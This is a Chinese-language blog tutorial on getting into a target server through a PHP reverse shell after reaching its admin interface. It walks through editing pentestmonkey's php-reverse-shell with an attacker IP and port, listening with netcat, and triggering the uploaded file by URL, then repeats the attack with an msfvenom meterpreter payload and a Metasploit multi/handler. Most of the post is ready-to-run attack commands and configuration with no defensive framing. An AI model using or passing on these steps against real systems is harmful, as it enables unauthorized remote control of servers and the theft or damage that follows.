首页 > 系统相关 >通过php reverse shell进入目标机的方法

通过php reverse shell进入目标机的方法

时间:2023-01-18 22:56:06浏览次数:43  
标签:文件 shell reverse ip 修改 php

在进入目标机的服务器管理员界面后,有时候发现可以通过上传或修改php文件来进入目标机

 

方法有很多:

 

1.netcat:

这是基于netcat的方法

首先得有一个php reverse shell.php文件

可以用

git clone https://github.com/pentestmonkey/php-reverse-shell.git

来下载php文件,克隆后有个php-reverse-shell文件夹,cd进去就有个php-reverse-shell.php文件

 

用vim修改它

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // 把这里改为自己的ip
$port = 1234;       // 把这里改为想监听的端口,最好大于1023
$chunk_size = 1400;
$write_a = null;

修改完后,想办法上传该php文件:若可以通过服务器管理员的界面修改php文件,也可以将一个无关紧要的php文件修改为上面的代码(复制粘贴)

上传或修改完后

 

就用netcat监听端口

nc -lvnp 1234

1234为监听端口,跟之前php文件修改时的端口号保持一致

 

接着就运行php文件

http://target.ip/yourphp.php

 

然后就收到返回来的链接,就可以进入目标机了(有时为root登入,有时为客户登入)。

 

2.msfvenom

当然也可以用msfvenom制作一个php reverse shell文件

代码如下:

msfvenom -p php/meterpreter/reverse_tcp LHOST=your_ip LPORT=1234 -f raw -o yourphp.php

LHOST是你的ip地址
LPROT是接收链接的端口
-o后接输出的文件名

 

生成php文件后,就想办法上传或是在服务器管理员的界面修改php文件(复制粘贴)

 

接着打开msf控制台

msfconsole

 

然后

1 use exploit/multi/handler
2 set payload php/meterpreter/reverse_tcp
3 set LHOST your_ip
4 set LPORT 1234
5 run

 

接着执行php文件

http://target.ip/yourphp.php

 

进入meterpreter界面后输入shell就行了。

标签:文件,shell,reverse,ip,修改,php
From: https://www.cnblogs.com/jhinjax/p/17060807.html

相关文章

  • 【Azure Redis 缓存】Azure Redis服务开启了SSL(6380端口), PHP如何访问缓存呢?
    问题描述使用6379端口连接AzureRedis服务,连接失败。因为默认情况下AzureRedis的设置没有打开6379的端口。需要使用SSL(6380端口)进行连接,但是遇见了无法连接的问题。使......
  • PHP8新特性
    PHP8.1提供的10大功能枚举Fiber(纤维)never返回类型readonly属性final类常量新的array_is_list()函数新的fsync()和fdatasync()函数对字符串键数组解包的支持$_......
  • adb shell 之 appops app控制命令
      允许后台运行------------appopssetorg.cloud.sonic.androidRUN_IN_BACKGROUNDallow允许发送信息-----------appopssetorg.cloud.sonic.androidPOST_NOTIFI......
  • 解决MSF meterpreter进入shell乱码问题。
    使用chcp65001可以解决。如下是使用前后对比:C:\Windows\system32>cmdkey/listcmdkey/list▒▒ǰ▒▒▒▒▒ƾ▒▒:*▒▒*C:\Windows\system32>chcp65001ch......
  • Powershell定时将Event写入数据库
    我们都知道,一般Windows系统的Event日志默认保留时间较短,主要是因为默认日志文件大小设定为200M,当系统日志量大的话,很容易增长到默认大小,这样会覆盖原有的,在审计的时候会很麻......
  • Shell脚本零基础入门
    文章目录1.shell脚本入门1.1.shell的简介1.2.shell的应用场景1.3.shell常见的解释器1.4.shell脚本文件权限与脚本执行2.shell的变量以及常见符号2.1.常见变量2.......
  • SpringShell使用说明
    一、添加依耐(pom.xml)<dependency><groupId>org.springframework.shell</groupId><artifactId>spring-shell-starter</artifactId><version>2.1.4</version><......
  • Android shell提权
    Androidshell提取原理+中转https://www.jianshu.com/p/8d30b1d42031 android内执行shell的几种解决方案熟悉adbshell的小伙伴可能知道,很多android设备的信息,是可......
  • Jmeter元件BeanShell 取样器调用Java代码处理时间
    在测试过程中经常会遇到一些接口中的参数需要进行处理时间格式,比如当前时间、当前日期,当月一号,下个月一号等等,下面我们就使用Jmeter元件BeanShell取样器调用Java代码进行处......
  • windows powershell运行ps1提示缺少某些package或driver
    在做自动化的时候我们用windowspowershell(命令:powershell绝对路径)运行ps1报错如下但是如果先进入powershell然后cd到ps1所在路径下运行ps1则不会报错\\如何解决:......